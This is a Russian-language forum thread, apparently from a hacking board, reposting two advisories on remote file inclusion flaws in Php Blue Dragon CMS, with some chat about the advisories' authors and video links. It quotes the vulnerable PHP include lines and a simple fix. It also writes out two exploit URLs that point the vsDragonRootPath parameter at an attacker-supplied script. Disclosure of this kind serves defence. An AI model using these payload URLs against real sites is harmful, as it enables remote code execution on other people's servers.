Уязвимости: Php Blue Dragon СMS

[Ŧ1LAN]

Php Blue Dragon CMS <= 2.9 Remote File Include Vulnerability

// Szukanie u.ytkownika
include($vsDragonRootPath."public_includes/pub_language/".$UserSession
-> SessionData["SesUserLanguage"]."/mod_privmsg.".$phpExt);

Fix:

// Szukanie u.ytkownika
$vsDragonRootPath = "./";
include($vsDragonRootPath."public_includes/pub_language/".$UserSession
-> SessionData["SesUserLanguage"]."/mod_privmsg.".$phpExt);

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

http://www.site.com/[dragon_path]/public_includes/pub_popup/popup_finduser.php?vsDragonRootPath=[evil_scripts]

Видео:
с рапиды
Скачать|Download
с мегаплода
Скачать|Download
приятного просмотра и прослушивания(dj-spookY => b-side most wanted) =)

 

[Ŧ1LAN]

PhpBlueDragon CMS <= 2.9.1 (template.php) File Include Vulnerability
Описание:
Ошибка существует в template.php, line 23:

---
require($vsDragonRootPath."public_includes/pub_kernel/pbd_template_custom.php");
---

Пример/Эксплоит:

http://examplе/[pbd_path]/software_upload/public_includes/pub_templates/vphptree/template.php?vsDragonRootPath=[cmd_url]/

 

[[GL]]

Ŧ1LAN
кто автор этих адвизорс?

 

[Ŧ1LAN]

[GL]
1)

Php Blue Dragon CMS <= 2.9 Remote File Include Vulnerability
DEVIL TEAM THE BEST POLISH TEAM

2)

PhpBlueDragon CMS <= 2.9.1 (template.php) File Include Vulnerability
Federico Fazzi

 

[Pwlogin]

Хорошее видео Спасибо. Порадовала озвучка.
[GL]
А зачем тебе авторы этих адвизорс